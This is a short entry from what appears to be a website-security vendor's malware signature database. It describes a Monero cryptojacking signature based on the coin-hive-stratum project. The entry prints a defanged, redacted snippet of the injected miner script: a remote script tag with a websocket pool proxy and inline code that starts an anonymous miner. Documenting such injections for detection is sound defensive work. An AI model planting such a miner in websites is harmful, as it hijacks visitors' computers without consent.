SiteCheck Signatures

  1. Home
  2. Signatures
  3. SiteCheck Signatures
  4. malware.cryptominer.10

malware.cryptominer.10

Description:
Website contains an Monero cryptocurrency miner based on the coin-hive-stratum repository that allowed anyone launch their own Monero mining scripts and proxies using GitHub Pages and easy to deploy Node.js server applications.

<script src="hxxps://<redacted>.github.io/chs/m.​js?proxy=wss​://coin-hive-stratum-<redacted>.now.​sh?pool=<redacted>:3333"></script>
<script>
  var miner = CH​.Anonymous('<Monero address>',{throttle​: 0.4});
  miner​.start();
</script>

GitHub disabled the coin-hive-stratum repository and hudreds of its forks on January 10th, 2018.

Affecting: Any website.